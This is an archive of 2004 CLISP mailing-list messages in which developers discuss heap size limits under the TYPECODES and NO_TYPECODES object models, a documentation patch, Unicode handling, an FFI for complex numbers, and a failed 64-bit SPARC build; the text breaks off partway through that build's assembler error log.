10 09:28:24 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNDdg-0001D5-7b for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 09:28:24 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BNDdf-0000Iq-Ni for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 09:28:23 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4AGSBKY021294; Mon, 10 May 2004 12:28:11 -0400 (EDT) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200405101635.36961.bruno@clisp.org> (Bruno Haible's message of "Mon, 10 May 2004 16:35:36 +0200") References: <200405101240.04731.bruno@clisp.org> <200405101635.36961.bruno@clisp.org> Mail-Followup-To: Bruno Haible , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 09:29:05 2004 X-Original-Date: Mon, 10 May 2004 12:28:11 -0400 > * Bruno Haible [2004-05-10 16:35:36 +0200]: > >> > 1) A clisp build with SPVW_PAGES instead of SPVW_BLOCKS >> does this mean no GENERATIONAL_GC?! > Yes. wouldn't full GC on 2GB kill me? >> OK, so how much space can CLISP address in TYPECODES and NO_TYPECODES >> modes? > > TYPECODES: max. 16 MB in 32-bit mode, 4 GB in 64-bit mode. > NO_TYPECODES: the same order of magnitude as the CPU supports. > Therefore I don't recommend TYPECODES here. OK, does this mean that on a 64-bit machine I will be able to get 4 GB of lisp data either with or without TYPECODES? Can Linux on AMD 64 utilize, say, 64GB of RAM? 1TB? Can CLISP? (obviously, NO_TYPECODES) Does anyone here have any experience with CLISP on a Beowulf cluster? PS. This is a business decision in the making. -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't use force -- get a bigger hammer. From bruno@clisp.org Mon May 10 10:05:50 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNEDu-00027M-EH for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 10:05:50 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNEDt-0002yJ-UY for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 10:05:50 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i4AH5dlF012085; Mon, 10 May 2004 19:05:39 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i4AH5XJU024721; Mon, 10 May 2004 19:05:33 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 31335178AC; Mon, 10 May 2004 16:57:57 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: <200405101635.36961.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405101857.56013.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 10:06:08 2004 X-Original-Date: Mon, 10 May 2004 18:57:56 +0200 Sam Steingold wrote: > wouldn't full GC on 2GB kill me? Without generational GC, a full GC of 2 GB is likely to take several minutes. Whether that's a problem, depends on whether your program is interactive or batch-mode. > OK, does this mean that on a 64-bit machine I will be able to get 4 GB > of lisp data either with or without TYPECODES? That's what I expect, and actually even more than 4 GB. > Can Linux on AMD 64 utilize, say, 64GB of RAM? 1TB? I can't say where the AMD64 has its limit. (Remember that some Pentiums had a maximum of 16 MB cachable area, although in theory they were 32-bit.) But the virtual address of shared libraries on Linux (0x0000002A95xxxxxx) indicates that the virtual addresses are not the problem any more. > Can CLISP? (obviously, NO_TYPECODES) Yes. At most, you might need some tweaking of the initial heap locations in spvw.d. Bruno From sds@gnu.org Mon May 10 10:16:57 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNEOe-0004r5-MC for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 10:16:56 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNEOe-00052F-5m for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 10:16:56 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4AHGkKY004431; Mon, 10 May 2004 13:16:46 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Douglas Philips Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15054071.1084197704332.JavaMail.dgou@mac.com> (Douglas Philips's message of "Mon, 10 May 2004 10:01:44 -0400") References: <15054071.1084197704332.JavaMail.dgou@mac.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Douglas Philips , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 HTML_20_30 BODY: Message is 20% to 30% HTML Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 10:17:11 2004 X-Original-Date: Mon, 10 May 2004 13:16:46 -0400 > * Douglas Philips [2004-05-10 10:01:44 -0400]: > >>does this mean no GENERATIONAL_GC?! >> > >>OK, so how much space can CLISP address in TYPECODES and NO_TYPECODES >>modes? > > And can these answers (some questions elided) be fed back into that document? Bruno, is the following OK? --- impbyte.xml 06 Feb 2004 11:46:15 -0500 1.44 +++ impbyte.xml 10 May 2004 13:15:59 -0400 @@ -68,8 +68,19 @@
Memory Models -There are 6 memory models. Which one is used, depends on the -operating system and is determined at build time. +There are 6 memory models and 2 object models. Which one is used, +depends on the operating system and is determined at build time. + +Object Modes +TYPECODES + Part of the object pointer is used for type bits, which + makes type checks faster but results in smaller accessible heap (16MB + in 32-bit mode, 4GB in 64-bit mode). +NO_TYPECODES + Allow to address as much heap as the CPU supports, + but type check always require dereferencing. + + Memory Models SPVW_MIXED_BLOCKS_OPPOSITE -- Sam Steingold (http://www.podval.org/~sds) running w2k If I had known that it was harmless, I would have killed it myself. From sds@gnu.org Mon May 10 10:39:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNEkL-0001j7-0C for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 10:39:21 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BNEkK-0005y4-4d for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 10:39:20 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4AHd5KY010612; Mon, 10 May 2004 13:39:05 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200405101857.56013.bruno@clisp.org> (Bruno Haible's message of "Mon, 10 May 2004 18:57:56 +0200") References: <200405101635.36961.bruno@clisp.org> <200405101857.56013.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 10:40:06 2004 X-Original-Date: Mon, 10 May 2004 13:39:05 -0400 > * Bruno Haible [2004-05-10 18:57:56 +0200]: > >> Can CLISP? (obviously, NO_TYPECODES) > > Yes. At most, you might need some tweaking of the initial heap > locations in spvw.d. you gotta be kidding! I have no idea what you are talking about here. what exactly will I need to change?! -- Sam Steingold (http://www.podval.org/~sds) running w2k Those who can laugh at themselves will never cease to be amused. From bruno@clisp.org Mon May 10 10:57:04 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNF1T-0006Bo-95; Mon, 10 May 2004 10:57:03 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNF1S-0004FZ-UF; Mon, 10 May 2004 10:57:03 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i4AHur3H014071; Mon, 10 May 2004 19:56:53 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i4AHuk6J029703; Mon, 10 May 2004 19:56:47 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id EFDD9178AC; Mon, 10 May 2004 17:49:10 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405101949.09680.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: old issues: unicode & docs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 10:58:02 2004 X-Original-Date: Mon, 10 May 2004 19:49:09 +0200 Sam wrote: > Bruno, > about 2 years ago I asked you these questions: > > 1. why does > (with-open-file (s "foo" :external-format charset:ascii) (read-line s)) > return a 32-bit and not an 8-bit string? Because I haven't yet implemented all the possible optimizations that are in my TODO list. > 2. why does SPARC prevent HAVE_SMALL_SSTRING? Does it? The ChangeLog mentions a patch dated from 2004-02-18 that supports HAVE_SMALL_SSTRING on all kinds of platforms. > 3. Why do built-in UCS-2 and iconv utf-16 treat odd-length byte arrays > differently? I don't remember there's a good reason for either behaviour. > 4. Are the porting instructions in unix/PLATFORMS up to date? Mostly, yes. (But the "at most 4 GB" for 64-bit platforms is not true for AMD64. There, clisp's imposed limit is currently 2^48 bytes, but could grow to 2^56 bytes if there is need.) > Could you please add a section to doc/impbyte.xml on > "How to add new bytecode instructions" > (what to modify, what to watch out for, how to test performance > hits/improvements &c) No, I can't. This is an area which requires thought, and cannot be handled in a "how do I" style FAQ. But what I can do, is to make exercises (of level >= 30 in Knuth's convention) regarding things like that. Exercise 1: Does it make sense to define a new bytecode instruction for RESTART-CASE? Why? Why not? Bruno From toy@rtp.ericsson.se Mon May 10 11:13:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNFHV-0001jh-7r for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 11:13:37 -0700 Received: from imr1.ericy.com ([198.24.6.9]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNFHU-0007IG-Sn for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 11:13:36 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i4AIDHLc024742; Mon, 10 May 2004 13:13:17 -0500 (CDT) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id JQWL2Q95; Mon, 10 May 2004 13:12:57 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i4AIDDR16115; Mon, 10 May 2004 13:13:17 -0500 (CDT) To: "Goffioul Michael" Cc: "Hoehle, Joerg-Cyril" , , Subject: Re: [clisp-list] FFI with complex numbers? References: <49056F0358EA754AB8420F7210B4CC07015E787C@e2k02.imec.be> From: Raymond Toy In-Reply-To: <49056F0358EA754AB8420F7210B4CC07015E787C@e2k02.imec.be> (Goffioul Michael's message of "Fri, 7 May 2004 11:03:37 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 11:14:03 2004 X-Original-Date: Mon, 10 May 2004 14:13:13 -0400 >>>>> "Goffioul" == Goffioul Michael writes: Goffioul> Well, yes: a MatLisp version that work with CLISP... :-) You could help make that a reality, if it's important to you. If you're interested, subscribe to the matlisp mailing lists on sourceforge.net. I think there are quite a few people out there who would like such a thing. Goffioul> The target math library is BLAS/LAPACK, which are FORTRAN libraries. Goffioul> In FORTRAN, complex numbers are represented as real and imag part Goffioul> next to each other: for example, a single complex number can be mapped Goffioul> to a real array of 2 elements (this would corresponds the structure Goffioul> you mentionned above). Goffioul> Writing conversion routines is a possibility, but I fear that efficiency Goffioul> would be low, especially if you want to convert large complex arrays Goffioul> (if you need to do it in a loop). Is there a way to make C code access Goffioul> LISP variables directly (without copying)? This is certainly possible since this is what Matlisp does. However, it does require your Lisp to have a specialized array with double-float elements that are arranged in one contiguous area, just like C or Fortran would. Given this, you only need a routine that can figure the address of this, and Matlisp would work, once the Matlisp Fortran FFI is mapped to clisp's FFI. Ray From bruno@clisp.org Mon May 10 11:30:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNFXq-0005i5-Cm for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 11:30:30 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BNFXp-0007vn-QH for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 11:30:30 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i4AIUMVd015106; Mon, 10 May 2004 20:30:22 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i4AIUGm1002746; Mon, 10 May 2004 20:30:16 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 4A4781BB44; Mon, 10 May 2004 18:22:40 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: <200405101857.56013.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405102022.39214.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 11:31:02 2004 X-Original-Date: Mon, 10 May 2004 20:22:39 +0200 Sam Steingold wrote: > I have no idea what you are talking about here. > what exactly will I need to change?! Some constants in spvw.d lines 2376..2440 in the current CVS. There I see some code #if defined(AMD64) && defined(UNIX_LINUX) # Don't use more than 36 address bits, otherwise mmap() fails. which appears to imply that AMD64 supports virtual addresses up to 64 GB, and that clisp assigns 1/5th (= 13 GB) to each of the two heaps. This can be tweaked if there is need to. Bruno From sds@gnu.org Mon May 10 15:50:40 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNJbc-00061H-5Z for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 15:50:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BNJbb-0001WM-9R for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 15:50:39 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4AMoT3K001334; Mon, 10 May 2004 18:50:30 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200405101635.36961.bruno@clisp.org> (Bruno Haible's message of "Mon, 10 May 2004 16:35:36 +0200") References: <200405101240.04731.bruno@clisp.org> <200405101635.36961.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 15:51:05 2004 X-Original-Date: Mon, 10 May 2004 18:50:29 -0400 > * Bruno Haible [2004-05-10 16:35:36 +0200]: > >> > 2) Use a 64-bit machine. AMD64 PCs are quite cheap nowadays. >> >> I thought that sparc was a 64 bit machine? > > On UltraSparcs, the CPU and the kernel are 64-bit, but most user > programs are 32-bit. I have no idea which compiler settings you can > choose to get a 64-bit mode program. gcc -m64 checking for 64-bit SPARC... (cached) yes gcc -m64 foo.c file a.out a.out: ELF 64-bit MSB executable SPARCV9 Version 1, dynamically linked, not stripped if I configure with CC="gcc -m64", I get gcc -m64 -E `if test false = true; then echo '-DASM_UNDERSCORE'; fi` ../../ffcal l/avcall/avcall-sparc64.S | grep -v '^ *#line' | grep -v '^#' | sed -e 's,% ,%,g ' -e 's,//.*$,,' -e 's,\$,#,g' > avcall-sparc64.s /bin/sh ./libtool --mode=compile gcc -m64 -x none -c avcall-sparc64.s gcc -m64 -x none -c avcall-sparc64.s -o avcall-sparc64.o /usr/ccs/bin/as: "avcall-sparc64.s", line 2: error: .version "01.01" greater tha n assembler version "" /usr/ccs/bin/as: "avcall-sparc64.s", line 13: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 15: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 15: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 15: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 15: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 17: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 17: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 19: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 19: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 19: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 19: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 21: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 21: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 22: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 22: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 23: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 23: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 25: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 25: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 26: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 27: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 27: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 29: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 29: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 31: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 31: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 32: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 33: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 33: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 35: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 35: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 37: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 37: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 38: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 39: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 39: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 41: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 41: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 43: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 43: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 44: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 45: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 45: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 47: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 47: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 49: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 49: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 50: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 51: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 51: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 53: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 53: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 55: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 55: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 56: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 57: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 57: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 59: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 59: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 61: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 61: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 62: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 63: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 63: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 65: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 65: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 67: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 67: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 68: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", line 69: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 69: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 71: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 71: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 73: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 73: error: detect global register use not covered .register pseudo-op /usr/ccs/bin/as: "avcall-sparc64.s", line 74: error: statement syntax /usr/ccs/bin/as: "avcall-sparc64.s", 